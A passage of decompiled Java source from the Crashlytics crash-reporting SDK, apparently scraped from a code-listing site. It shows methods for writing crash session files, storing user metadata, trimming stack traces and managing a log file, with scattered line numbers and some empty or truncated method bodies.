            put("disk_space", Long.valueOf(diskSpace));
            put("is_emulator", Boolean.valueOf(isEmulator));
            put("ids", ids);
            put("state", Integer.valueOf(state));
            put("build_manufacturer", Build.MANUFACTURER);
            put("build_product", Build.PRODUCT);
        }
    }).toString().getBytes());
}



942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957

writeSessionUser

Java Code
private void writeSessionUser(String sessionId) throws Exception {
    final UserMetaData userMetaData = getUserMetaData(sessionId);
    writeSessionPartFile(sessionId, SESSION_USER_TAG, new CodedOutputStreamWriteAction() {
        public void writeTo(CodedOutputStream arg) throws Exception {
            SessionProtobufHelper.writeSessionUser(arg, userMetaData.id, userMetaData.name, userMetaData.email);
        }
    });
}



961
962
963
964
965
966
967
968

writeTo

Java Code
public void writeTo(CodedOutputStream arg) throws Exception {
    SessionProtobufHelper.writeSessionUser(arg, userMetaData.id, userMetaData.name, userMetaData.email);
}



964
965
966

writeSessionEvent

Java Code
private void writeSessionEvent(CodedOutputStream cos, Date time, Thread thread, Throwable ex, String eventType, boolean includeAllThreads) throws Exception {
    Thread[] threads;
    Map<String, String> attributes;
    TrimmedThrowableData trimmedEx = new TrimmedThrowableData(ex, this.stackTraceTrimmingStrategy);
    Context context = this.crashlyticsCore.getContext();
    long eventTime = time.getTime() / 1000;
    Float batteryLevel = CommonUtils.getBatteryLevel(context);
    int batteryVelocity = CommonUtils.getBatteryVelocity(context, this.devicePowerStateListener.isPowerConnected());
    boolean proximityEnabled = CommonUtils.getProximitySensorEnabled(context);
    int orientation = context.getResources().getConfiguration().orientation;
    long usedRamBytes = CommonUtils.getTotalRamInBytes() - CommonUtils.calculateFreeRamInBytes(context);
    long diskUsedBytes = CommonUtils.calculateUsedDiskSpaceInBytes(Environment.getDataDirectory().getPath());
    RunningAppProcessInfo runningAppProcessInfo = CommonUtils.getAppProcessInfo(context.getPackageName(), context);
    List<StackTraceElement[]> stacks = new LinkedList();
    StackTraceElement[] exceptionStack = trimmedEx.stacktrace;
    String buildId = this.appData.buildId;
    String appIdentifier = this.idManager.getAppIdentifier();
    if (includeAllThreads) {
        Map<Thread, StackTraceElement[]> allStackTraces = Thread.getAllStackTraces();
        threads = new Thread[allStackTraces.size()];
        int i = 0;
        for (Entry<Thread, StackTraceElement[]> entry : allStackTraces.entrySet()) {
            threads[i] = (Thread) entry.getKey();
            stacks.add(this.stackTraceTrimmingStrategy.getTrimmedStackTrace((StackTraceElement[]) entry.getValue()));
            i++;
        }
    } else {
        threads = new Thread[0];
    }
    if (CommonUtils.getBooleanResourceValue(context, COLLECT_CUSTOM_KEYS, true)) {
        attributes = this.crashlyticsCore.getAttributes();
        if (attributes != null && attributes.size() > 1) {
            attributes = new TreeMap(attributes);
        }
    } else {
        attributes = new TreeMap();
    }
    SessionProtobufHelper.writeSessionEvent(cos, eventTime, eventType, trimmedEx, thread, exceptionStack, threads, stacks, attributes, this.logFileManager, runningAppProcessInfo, orientation, appIdentifier, buildId, batteryLevel, batteryVelocity, proximityEnabled, usedRamBytes, diskUsedBytes);
}



970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008

writeSessionPartsToSessionFile

Java Code
private void writeSessionPartsToSessionFile(File sessionBeginFile, String sessionId, int maxLoggedExceptionsCount) {
    Fabric.getLogger().d(CrashlyticsCore.TAG, "Collecting session parts for ID " + sessionId);
    File[] fatalFiles = listFilesMatching(new FileNameContainsFilter(sessionId + SESSION_FATAL_TAG));
    boolean hasFatal = fatalFiles != null && fatalFiles.length > 0;
    Fabric.getLogger().d(CrashlyticsCore.TAG, String.format(Locale.US, "Session %s has fatal exception: %s", new Object[]{sessionId, Boolean.valueOf(hasFatal)}));
    File[] nonFatalFiles = listFilesMatching(new FileNameContainsFilter(sessionId + SESSION_NON_FATAL_TAG));
    boolean hasNonFatal = nonFatalFiles != null && nonFatalFiles.length > 0;
    Fabric.getLogger().d(CrashlyticsCore.TAG, String.format(Locale.US, "Session %s has non-fatal exceptions: %s", new Object[]{sessionId, Boolean.valueOf(hasNonFatal)}));
    if (hasFatal || hasNonFatal) {
        synthesizeSessionFile(sessionBeginFile, sessionId, getTrimmedNonFatalFiles(sessionId, nonFatalFiles, maxLoggedExceptionsCount), hasFatal ? fatalFiles[0] : null);
    } else {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "No events present for session ID " + sessionId);
    }
    Fabric.getLogger().d(CrashlyticsCore.TAG, "Removing session part files for ID " + sessionId);
    deleteSessionPartFilesFor(sessionId);
}



1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025

synthesizeSessionFile

Java Code
private void synthesizeSessionFile(File sessionBeginFile, String sessionId, File[] nonFatalFiles, File fatalFile) {
    OutputStream outputStream;
    Exception e;
    Throwable th;
    boolean hasFatal = fatalFile != null;
    File outputDir = hasFatal ? getFatalSessionFilesDir() : getNonFatalSessionFilesDir();
    if (!outputDir.exists()) {
        outputDir.mkdirs();
    }
    ClsFileOutputStream fos = null;
    try {
        OutputStream fos2 = new ClsFileOutputStream(outputDir, sessionId);
        try {
            CodedOutputStream cos = CodedOutputStream.newInstance(fos2);
            Fabric.getLogger().d(CrashlyticsCore.TAG, "Collecting SessionStart data for session ID " + sessionId);
            writeToCosFromFile(cos, sessionBeginFile);
            cos.writeUInt64(4, new Date().getTime() / 1000);
            cos.writeBool(5, hasFatal);
            cos.writeUInt32(11, 1);
            cos.writeEnum(12, 3);
            writeInitialPartsTo(cos, sessionId);
            writeNonFatalEventsTo(cos, nonFatalFiles, sessionId);
            if (hasFatal) {
                writeToCosFromFile(cos, fatalFile);
            }
            CommonUtils.flushOrLog(cos, "Error flushing session file stream");
            if (null != null) {
                closeWithoutRenamingOrLog(fos2);
                outputStream = fos2;
                return;
            }
            CommonUtils.closeOrLog(fos2, "Failed to close CLS file");
            outputStream = fos2;
        } catch (Exception e2) {
            e = e2;
            outputStream = fos2;
            try {
                Fabric.getLogger().e(CrashlyticsCore.TAG, "Failed to write session file for session ID: " + sessionId, e);
                CommonUtils.flushOrLog(null, "Error flushing session file stream");
                if (true) {
                    closeWithoutRenamingOrLog(fos);
                } else {
                    CommonUtils.closeOrLog(fos, "Failed to close CLS file");
                }
            } catch (Throwable th2) {
                th = th2;
                CommonUtils.flushOrLog(null, "Error flushing session file stream");
                if (null == null) {
                    CommonUtils.closeOrLog(fos, "Failed to close CLS file");
                } else {
                    closeWithoutRenamingOrLog(fos);
                }
                throw th;
            }
        } catch (Throwable th3) {
            th = th3;
            outputStream = fos2;
            CommonUtils.flushOrLog(null, "Error flushing session file stream");
            if (null == null) {
                closeWithoutRenamingOrLog(fos);
            } else {
                CommonUtils.closeOrLog(fos, "Failed to close CLS file");
            }
            throw th;
        }
    } catch (Exception e3) {
        e = e3;
        Fabric.getLogger().e(CrashlyticsCore.TAG, "Failed to write session file for session ID: " + sessionId, e);
        CommonUtils.flushOrLog(null, "Error flushing session file stream");
        if (true) {
            closeWithoutRenamingOrLog(fos);
        } else {
            CommonUtils.closeOrLog(fos, "Failed to close CLS file");
        }
    }
}



1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102

writeNonFatalEventsTo

Java Code
private static void writeNonFatalEventsTo(CodedOutputStream cos, File[] nonFatalFiles, String sessionId) {
    Arrays.sort(nonFatalFiles, CommonUtils.FILE_MODIFIED_COMPARATOR);
    for (File nonFatalFile : nonFatalFiles) {
        try {
            Fabric.getLogger().d(CrashlyticsCore.TAG, String.format(Locale.US, "Found Non Fatal for session ID %s in %s ", new Object[]{sessionId, nonFatalFile.getName()}));
            writeToCosFromFile(cos, nonFatalFile);
        } catch (Exception e) {
            Fabric.getLogger().e(CrashlyticsCore.TAG, "Error writting non-fatal to session.", e);
        }
    }
}



1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114

writeInitialPartsTo

Java Code
private void writeInitialPartsTo(CodedOutputStream cos, String sessionId) throws IOException {
    for (String tag : INITIAL_SESSION_PART_TAGS) {
        File[] sessionPartFiles = listFilesMatching(new FileNameContainsFilter(sessionId + tag + ClsFileOutputStream.SESSION_FILE_EXTENSION));
        if (sessionPartFiles.length == 0) {
            Fabric.getLogger().e(CrashlyticsCore.TAG, "Can't find " + tag + " data for session ID " + sessionId, null);
        } else {
            Fabric.getLogger().d(CrashlyticsCore.TAG, "Collecting " + tag + " data for session ID " + sessionId);
            writeToCosFromFile(cos, sessionPartFiles[0]);
        }
    }
}



1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126

writeToCosFromFile

Java Code
private static void writeToCosFromFile(CodedOutputStream cos, File file) throws IOException {
    Throwable th;
    if (file.exists()) {
        FileInputStream fis = null;
        try {
            FileInputStream fis2 = new FileInputStream(file);
            try {
                copyToCodedOutputStream(fis2, cos, (int) file.length());
                CommonUtils.closeOrLog(fis2, "Failed to close file input stream.");
                return;
            } catch (Throwable th2) {
                th = th2;
                fis = fis2;
                CommonUtils.closeOrLog(fis, "Failed to close file input stream.");
                throw th;
            }
        } catch (Throwable th3) {
            th = th3;
            CommonUtils.closeOrLog(fis, "Failed to close file input stream.");
            throw th;
        }
    }
    Fabric.getLogger().e(CrashlyticsCore.TAG, "Tried to include a file that doesn't exist: " + file.getName(), null);
}



1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151

copyToCodedOutputStream

Java Code
private static void copyToCodedOutputStream(InputStream inStream, CodedOutputStream cos, int bufferLength) throws IOException {
    byte[] buffer = new byte[bufferLength];
    int offset = 0;
    while (offset < buffer.length) {
        int numRead = inStream.read(buffer, offset, buffer.length - offset);
        if (numRead < 0) {
            break;
        }
        offset += numRead;
    }
    cos.writeRawBytes(buffer);
}



1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164

getUserMetaData

Java Code
private UserMetaData getUserMetaData(String sessionId) {
    if (isHandlingException()) {
        return new UserMetaData(this.crashlyticsCore.getUserIdentifier(), this.crashlyticsCore.getUserName(), this.crashlyticsCore.getUserEmail());
    }
    return new MetaDataStore(getFilesDir()).readUserData(sessionId);
}



1166
1167
1168
1169
1170
1171

isHandlingException

Java Code
boolean isHandlingException() {
    return this.crashHandler != null && this.crashHandler.isHandlingException();
}



1173
1174
1175

getFilesDir

Java Code
File getFilesDir() {
    return this.fileStore.getFilesDir();
}



1177
1178
1179

getFatalSessionFilesDir

Java Code
File getFatalSessionFilesDir() {
    return new File(getFilesDir(), FATAL_SESSION_DIR);
}



1181
1182
1183

getNonFatalSessionFilesDir

Java Code
File getNonFatalSessionFilesDir() {
    return new File(getFilesDir(), NONFATAL_SESSION_DIR);
}



1185
1186
1187

getInvalidFilesDir

Java Code
File getInvalidFilesDir() {
    return new File(getFilesDir(), INVALID_CLS_CACHE_DIR);
}



1189
1190
1191

shouldPromptUserBeforeSendingCrashReports

Java Code
private boolean shouldPromptUserBeforeSendingCrashReports(SettingsData settingsData) {
    if (settingsData == null || !settingsData.featuresData.promptEnabled || this.preferenceManager.shouldAlwaysSendReports()) {
        return false;
    }
    return true;
}



1193
1194
1195
1196
1197
1198

getCreateReportSpiCall

Java Code
private CreateReportSpiCall getCreateReportSpiCall(String reportsUrl) {
    return new DefaultCreateReportSpiCall(this.crashlyticsCore, CommonUtils.getStringsFileValue(this.crashlyticsCore.getContext(), CRASHLYTICS_API_ENDPOINT), reportsUrl, this.httpRequestFactory);
}



1200
1201
1202

sendSessionReports

Java Code
private void sendSessionReports(SettingsData settingsData) {
    if (settingsData == null) {
        Fabric.getLogger().w(CrashlyticsCore.TAG, "Cannot send reports. Settings are unavailable.");
        return;
    }
    Context context = this.crashlyticsCore.getContext();
    ReportUploader reportUploader = new ReportUploader(this.appData.apiKey, getCreateReportSpiCall(settingsData.appData.reportsUrl), this.reportFilesProvider, this.handlingExceptionCheck);
    for (File finishedSessionFile : listCompleteSessionFiles()) {
        this.backgroundWorker.submit(new SendReportRunnable(context, new SessionReport(finishedSessionFile, SEND_AT_CRASHTIME_HEADER), reportUploader));
    }
}



1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214

recordLoggedExceptionAnswersEvent

Java Code
private static void recordLoggedExceptionAnswersEvent(String sessionId, String exceptionName) {
    Answers answers = (Answers) Fabric.getKit(Answers.class);
    if (answers == null) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Answers is not available");
    } else {
        answers.onException(new LoggedException(sessionId, exceptionName));
    }
}



1216
1217
1218
1219
1220
1221
1222
1223

recordFatalExceptionAnswersEvent

Java Code
private static void recordFatalExceptionAnswersEvent(String sessionId, String exceptionName) {
    Answers answers = (Answers) Fabric.getKit(Answers.class);
    if (answers == null) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Answers is not available");
    } else {
        answers.onException(new FatalException(sessionId, exceptionName));
    }
}



1225
1226
1227
1228
1229
1230
1231
1232

recordFatalFirebaseEvent

Java Code
private void recordFatalFirebaseEvent(long timestamp) {
    if (firebaseCrashExists()) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Skipping logging Crashlytics event to Firebase, FirebaseCrash exists");
    } else if (!this.firebaseCrashlyticsEnabled) {
    } else {
        if (this.firebaseAnalytics != null) {
            Fabric.getLogger().d(CrashlyticsCore.TAG, "Logging Crashlytics event to Firebase");
            Bundle params = new Bundle();
            params.putInt(FIREBASE_REALTIME, 1);
            params.putInt(FIREBASE_CRASH_TYPE, 1);
            params.putLong(FIREBASE_TIMESTAMP, timestamp);
            this.firebaseAnalytics.logEvent(FIREBASE_ANALYTICS_ORIGIN_CRASHLYTICS, FIREBASE_APPLICATION_EXCEPTION, params);
            return;
        }
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Skipping logging Crashlytics event to Firebase, no Firebase Analytics");
    }
}



1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250

firebaseCrashExists

Java Code
private boolean firebaseCrashExists() {
    try {
        Class clazz = Class.forName("com.google.firebase.crash.FirebaseCrash");
        return true;
    } catch (ClassNotFoundException e) {
        return false;
    }
}



1252
1253
1254
1255
1256
1257
1258
1259

AnySessionPartFileFilter

Java Code



accept

Java Code
public boolean accept(File file, String fileName) {
    return !CrashlyticsController.SESSION_FILE_FILTER.accept(file, fileName) && CrashlyticsController.SESSION_FILE_PATTERN.matcher(fileName).matches();
}



142
143
144

writeTo

Java Code



FileNameContainsFilter

Java Code
public FileNameContainsFilter(String s) {
    this.string = s;
}



154
155
156

accept

Java Code
public boolean accept(File dir, String filename) {
    return filename.contains(this.string) && !filename.endsWith(ClsFileOutputStream.IN_PROGRESS_SESSION_FILE_EXTENSION);
}



158
159
160

writeTo

Java Code



InvalidPartFileFilter

Java Code



accept

Java Code
public boolean accept(File file, String fileName) {
    return ClsFileOutputStream.TEMP_FILENAME_FILTER.accept(file, fileName) || fileName.contains(CrashlyticsController.SESSION_EVENT_MISSING_BINARY_IMGS_TAG);
}



171
172
173

SendReportRunnable

Java Code
public SendReportRunnable(Context context, Report report, ReportUploader reportUploader) {
    this.context = context;
    this.report = report;
    this.reportUploader = reportUploader;
}



181
182
183
184
185

run

Java Code
public void run() {
    if (CommonUtils.canTryConnection(this.context)) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Attempting to send crash report at time of crash...");
        this.reportUploader.forceUpload(this.report);
    }
}



187
188
189
190
191
192

SessionPartFileFilter

Java Code
public SessionPartFileFilter(String sessionId) {
    this.sessionId = sessionId;
}



198
199
200

accept

Java Code
public boolean accept(File file, String fileName) {
    if (fileName.equals(this.sessionId + ClsFileOutputStream.SESSION_FILE_EXTENSION) || !fileName.contains(this.sessionId) || fileName.endsWith(ClsFileOutputStream.IN_PROGRESS_SESSION_FILE_EXTENSION)) {
        return false;
    }
    return true;
}



202
203
204
205
206
207

LogFileDirectoryProvider

Java Code
public LogFileDirectoryProvider(FileStore rootFileStore) {
    this.rootFileStore = rootFileStore;
}



214
215
216

getLogFileDir

Java Code
public File getLogFileDir() {
    File logFileDir = new File(this.rootFileStore.getFilesDir(), LOG_FILES_DIR);
    if (!logFileDir.exists()) {
        logFileDir.mkdirs();
    }
    return logFileDir;
}



218
219
220
221
222
223
224

PrivacyDialogCheck

Java Code
public PrivacyDialogCheck(Kit kit, PreferenceManager preferenceManager, PromptSettingsData promptData) {
    this.kit = kit;
    this.preferenceManager = preferenceManager;
    this.promptData = promptData;
}



232
233
234
235
236

canSendReports

Java Code
public boolean canSendReports() {
    Activity activity = this.kit.getFabric().getCurrentActivity();
    if (activity == null || activity.isFinishing()) {
        return true;
    }
    final CrashPromptDialog dialog = CrashPromptDialog.create(activity, this.promptData, new AlwaysSendCallback() {
        public void sendUserReportsWithoutPrompting(boolean send) {
            PrivacyDialogCheck.this.preferenceManager.setShouldAlwaysSendReports(send);
        }
    });
    activity.runOnUiThread(new Runnable() {
        public void run() {
            dialog.show();
        }
    });
    Fabric.getLogger().d(CrashlyticsCore.TAG, "Waiting for user opt-in.");
    dialog.await();
    return dialog.getOptIn();
}



238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256

sendUserReportsWithoutPrompting

Java Code
public void sendUserReportsWithoutPrompting(boolean send) {
    PrivacyDialogCheck.this.preferenceManager.setShouldAlwaysSendReports(send);
}



244
245
246

run

Java Code
public void run() {
    dialog.show();
}



249
250
251

ReportUploaderFilesProvider

Java Code



getCompleteSessionFiles

Java Code
public File[] getCompleteSessionFiles() {
    return CrashlyticsController.this.listCompleteSessionFiles();
}



263
264
265

getInvalidSessionFiles

Java Code
public File[] getInvalidSessionFiles() {
    return CrashlyticsController.this.getInvalidFilesDir().listFiles();
}



267
268
269

ReportUploaderHandlingExceptionCheck

Java Code



isHandlingException

Java Code
public boolean isHandlingException() {
    return CrashlyticsController.this.isHandlingException();
}



276
277
278

TrimmedThrowableData

Java Code
public TrimmedThrowableData(Throwable ex, StackTraceTrimmingStrategy trimmingStrategy) {
    this.localizedMessage = ex.getLocalizedMessage();
    this.className = ex.getClass().getName();
    this.stacktrace = trimmingStrategy.getTrimmedStackTrace(ex.getStackTrace());
    Throwable exCause = ex.getCause();
    this.cause = exCause != null ? new TrimmedThrowableData(exCause, trimmingStrategy) : null;
}



9
10
11
12
13
14
15

invoke

Java Code



<clinit>

Java Code



MetaDataStore

Java Code
public MetaDataStore(File filesDir) {
    this.filesDir = filesDir;
}



31
32
33

writeUserData

Java Code
public void writeUserData(String sessionId, UserMetaData data) {
    Exception e;
    Throwable th;
    File f = getUserDataFileForSession(sessionId);
    Writer writer = null;
    try {
        String userDataString = userDataToJson(data);
        Writer writer2 = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f), UTF_8));
        try {
            writer2.write(userDataString);
            writer2.flush();
            CommonUtils.closeOrLog(writer2, "Failed to close user metadata file.");
            writer = writer2;
        } catch (Exception e2) {
            e = e2;
            writer = writer2;
            try {
                Fabric.getLogger().e(CrashlyticsCore.TAG, "Error serializing user metadata.", e);
                CommonUtils.closeOrLog(writer, "Failed to close user metadata file.");
            } catch (Throwable th2) {
                th = th2;
                CommonUtils.closeOrLog(writer, "Failed to close user metadata file.");
                throw th;
            }
        } catch (Throwable th3) {
            th = th3;
            writer = writer2;
            CommonUtils.closeOrLog(writer, "Failed to close user metadata file.");
            throw th;
        }
    } catch (Exception e3) {
        e = e3;
        Fabric.getLogger().e(CrashlyticsCore.TAG, "Error serializing user metadata.", e);
        CommonUtils.closeOrLog(writer, "Failed to close user metadata file.");
    }
}



35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

readUserData

Java Code
public UserMetaData readUserData(String sessionId) {
    Exception e;
    Throwable th;
    File f = getUserDataFileForSession(sessionId);
    if (!f.exists()) {
        return UserMetaData.EMPTY;
    }
    InputStream is = null;
    try {
        InputStream is2 = new FileInputStream(f);
        try {
            UserMetaData jsonToUserData = jsonToUserData(CommonUtils.streamToString(is2));
            CommonUtils.closeOrLog(is2, "Failed to close user metadata file.");
            return jsonToUserData;
        } catch (Exception e2) {
            e = e2;
            is = is2;
            try {
                Fabric.getLogger().e(CrashlyticsCore.TAG, "Error deserializing user metadata.", e);
                CommonUtils.closeOrLog(is, "Failed to close user metadata file.");
                return UserMetaData.EMPTY;
            } catch (Throwable th2) {
                th = th2;
                CommonUtils.closeOrLog(is, "Failed to close user metadata file.");
                throw th;
            }
        } catch (Throwable th3) {
            th = th3;
            is = is2;
            CommonUtils.closeOrLog(is, "Failed to close user metadata file.");
            throw th;
        }
    } catch (Exception e3) {
        e = e3;
        Fabric.getLogger().e(CrashlyticsCore.TAG, "Error deserializing user metadata.", e);
        CommonUtils.closeOrLog(is, "Failed to close user metadata file.");
        return UserMetaData.EMPTY;
    }
}



72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110

writeKeyData

Java Code
public void writeKeyData(String sessionId, Map<String, String> keyData) {
    Exception e;
    Throwable th;
    File f = getKeysFileForSession(sessionId);
    Writer writer = null;
    try {
        String keyDataString = keysDataToJson(keyData);
        Writer writer2 = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f), UTF_8));
        try {
            writer2.write(keyDataString);
            writer2.flush();
            CommonUtils.closeOrLog(writer2, "Failed to close key/value metadata file.");
            writer = writer2;
        } catch (Exception e2) {
            e = e2;
            writer = writer2;
            try {
                Fabric.getLogger().e(CrashlyticsCore.TAG, "Error serializing key/value metadata.", e);
                CommonUtils.closeOrLog(writer, "Failed to close key/value metadata file.");
            } catch (Throwable th2) {
                th = th2;
                CommonUtils.closeOrLog(writer, "Failed to close key/value metadata file.");
                throw th;
            }
        } catch (Throwable th3) {
            th = th3;
            writer = writer2;
            CommonUtils.closeOrLog(writer, "Failed to close key/value metadata file.");
            throw th;
        }
    } catch (Exception e3) {
        e = e3;
        Fabric.getLogger().e(CrashlyticsCore.TAG, "Error serializing key/value metadata.", e);
        CommonUtils.closeOrLog(writer, "Failed to close key/value metadata file.");
    }
}



112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147

readKeyData

Java Code
public Map<String, String> readKeyData(String sessionId) {
    Exception e;
    Throwable th;
    File f = getKeysFileForSession(sessionId);
    if (!f.exists()) {
        return Collections.emptyMap();
    }
    InputStream is = null;
    try {
        InputStream is2 = new FileInputStream(f);
        try {
            Map<String, String> jsonToKeysData = jsonToKeysData(CommonUtils.streamToString(is2));
            CommonUtils.closeOrLog(is2, "Failed to close user metadata file.");
            return jsonToKeysData;
        } catch (Exception e2) {
            e = e2;
            is = is2;
            try {
                Fabric.getLogger().e(CrashlyticsCore.TAG, "Error deserializing user metadata.", e);
                CommonUtils.closeOrLog(is, "Failed to close user metadata file.");
                return Collections.emptyMap();
            } catch (Throwable th2) {
                th = th2;
                CommonUtils.closeOrLog(is, "Failed to close user metadata file.");
                throw th;
            }
        } catch (Throwable th3) {
            th = th3;
            is = is2;
            CommonUtils.closeOrLog(is, "Failed to close user metadata file.");
            throw th;
        }
    } catch (Exception e3) {
        e = e3;
        Fabric.getLogger().e(CrashlyticsCore.TAG, "Error deserializing user metadata.", e);
        CommonUtils.closeOrLog(is, "Failed to close user metadata file.");
        return Collections.emptyMap();
    }
}



149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187

getUserDataFileForSession

Java Code
private File getUserDataFileForSession(String sessionId) {
    return new File(this.filesDir, sessionId + USERDATA_SUFFIX + METADATA_EXT);
}



189
190
191

getKeysFileForSession

Java Code
private File getKeysFileForSession(String sessionId) {
    return new File(this.filesDir, sessionId + KEYDATA_SUFFIX + METADATA_EXT);
}



193
194
195

jsonToUserData

Java Code
private static UserMetaData jsonToUserData(String json) throws JSONException {
    JSONObject dataObj = new JSONObject(json);
    return new UserMetaData(valueOrNull(dataObj, KEY_USER_ID), valueOrNull(dataObj, KEY_USER_NAME), valueOrNull(dataObj, KEY_USER_EMAIL));
}



197
198
199
200

userDataToJson

Java Code
private static String userDataToJson(final UserMetaData userData) throws JSONException {
    return new JSONObject() {
    }.toString();



202
203
204

jsonToKeysData

Java Code
private static Map<String, String> jsonToKeysData(String json) throws JSONException {
    JSONObject dataObj = new JSONObject(json);
    Map<String, String> keyData = new HashMap();
    Iterator<String> keyIter = dataObj.keys();
    while (keyIter.hasNext()) {
        String key = (String) keyIter.next();
        keyData.put(key, valueOrNull(dataObj, key));
    }
    return keyData;
}



207
208
209
210
211
212
213
214
215
216

keysDataToJson

Java Code
private static String keysDataToJson(Map<String, String> keyData) throws JSONException {
    return new JSONObject(keyData).toString();
}



218
219
220

valueOrNull

Java Code
private static String valueOrNull(JSONObject json, String key) {
    return !json.isNull(key) ? json.optString(key, null) : null;
}



222
223
224

RemoveRepeatsStrategy

Java Code
public RemoveRepeatsStrategy() {
    this(1);
}



9
10
11

RemoveRepeatsStrategy

Java Code
public RemoveRepeatsStrategy(int maxRepetitions) {
    this.maxRepetitions = maxRepetitions;
}



13
14
15

getTrimmedStackTrace

Java Code
public StackTraceElement[] getTrimmedStackTrace(StackTraceElement[] stacktrace) {
    StackTraceElement[] trimmed = trimRepeats(stacktrace, this.maxRepetitions);
    return trimmed.length < stacktrace.length ? trimmed : stacktrace;
}



17
18
19
20

trimRepeats

Java Code
private static StackTraceElement[] trimRepeats(StackTraceElement[] stacktrace, int maxRepetitions) {
    Map<StackTraceElement, Integer> mostRecentIndices = new HashMap();
    StackTraceElement[] buffer = new StackTraceElement[stacktrace.length];
    int trimmedLength = 0;
    int numRepeats = 1;
    int i = 0;
    while (i < stacktrace.length) {
        int currentIndex = i;
        StackTraceElement currentFrame = stacktrace[i];
        Integer previousIndex = (Integer) mostRecentIndices.get(currentFrame);
        if (previousIndex == null || !isRepeatingSequence(stacktrace, previousIndex.intValue(), i)) {
            numRepeats = 1;
            buffer[trimmedLength] = stacktrace[i];
            trimmedLength++;
        } else {
            int windowSize = i - previousIndex.intValue();
            if (numRepeats < maxRepetitions) {
                System.arraycopy(stacktrace, i, buffer, trimmedLength, windowSize);
                trimmedLength += windowSize;
                numRepeats++;
            }
            i += windowSize - 1;
        }
        mostRecentIndices.put(currentFrame, Integer.valueOf(currentIndex));
        i++;
    }
    StackTraceElement[] trimmed = new StackTraceElement[trimmedLength];
    System.arraycopy(buffer, 0, trimmed, 0, trimmed.length);
    return trimmed;
}



22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

isRepeatingSequence

Java Code
private static boolean isRepeatingSequence(StackTraceElement[] stacktrace, int prevIndex, int currentIndex) {
    int windowSize = currentIndex - prevIndex;
    if (currentIndex + windowSize > stacktrace.length) {
        return false;
    }
    for (int i = 0; i < windowSize; i++) {
        if (!stacktrace[prevIndex + i].equals(stacktrace[currentIndex + i])) {
            return false;
        }
    }
    return true;
}



53
54
55
56
57
58
59
60
61
62
63
64

QueueFileLogStore

Java Code
public QueueFileLogStore(File workingFile, int maxLogSize) {
    this.workingFile = workingFile;
    this.maxLogSize = maxLogSize;
}



18
19
20
21

writeToLog

Java Code
public void writeToLog(long timestamp, String msg) {
    openLogFile();
    doWriteToLog(timestamp, msg);
}



23
24
25
26

getLogAsByteString

Java Code
public ByteString getLogAsByteString() {
    if (!this.workingFile.exists()) {
        return null;
    }
    openLogFile();
    if (this.logFile == null) {
        return null;
    }
    final int[] offsetHolder = new int[]{0};
    final byte[] logBytes = new byte[this.logFile.usedBytes()];
    try {
        this.logFile.forEach(new ElementReader() {
            public void read(InputStream in, int length) throws IOException {
                try {
                    in.read(logBytes, offsetHolder[0], length);
                    int[] iArr = offsetHolder;
                    iArr[0] = iArr[0] + length;
                } finally {
                    in.close();
                }
            }
        });
    } catch (IOException e) {
        Fabric.getLogger().e(CrashlyticsCore.TAG, "A problem occurred while reading the Crashlytics log file.", e);
    }
    return ByteString.copyFrom(logBytes, 0, offsetHolder[0]);
}



28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

read

Java Code
public void read(InputStream in, int length) throws IOException {
    try {
        in.read(logBytes, offsetHolder[0], length);
        int[] iArr = offsetHolder;
        iArr[0] = iArr[0] + length;
    } finally {
        in.close();
    }
}



40
41
42
43
44
45
46
47
48

closeLogFile

Java Code
public void closeLogFile() {
    CommonUtils.closeOrLog(this.logFile, "There was a problem closing the Crashlytics log file.");
    this.logFile = null;
}



56
57
58
59

deleteLogFile

Java Code
public void deleteLogFile() {
    closeLogFile();
    this.workingFile.delete();
}



61
62
63
64

openLogFile

Java Code
private void openLogFile() {
    if (this.logFile == null) {
        try {
            this.logFile = new QueueFile(this.workingFile);
        } catch (IOException e) {
            Fabric.getLogger().e(CrashlyticsCore.TAG, "Could not open log file: " + this.workingFile, e);
        }
    }
}



66
67
68
69
70
71
72
73
74

doWriteToLog

Java Code
private void doWriteToLog(long timestamp, String msg) {
    if (this.logFile != null) {
        if (msg == null) {
            msg = "null";
        }
        try {
            int quarterMaxLogSize = this.maxLogSize / 4;
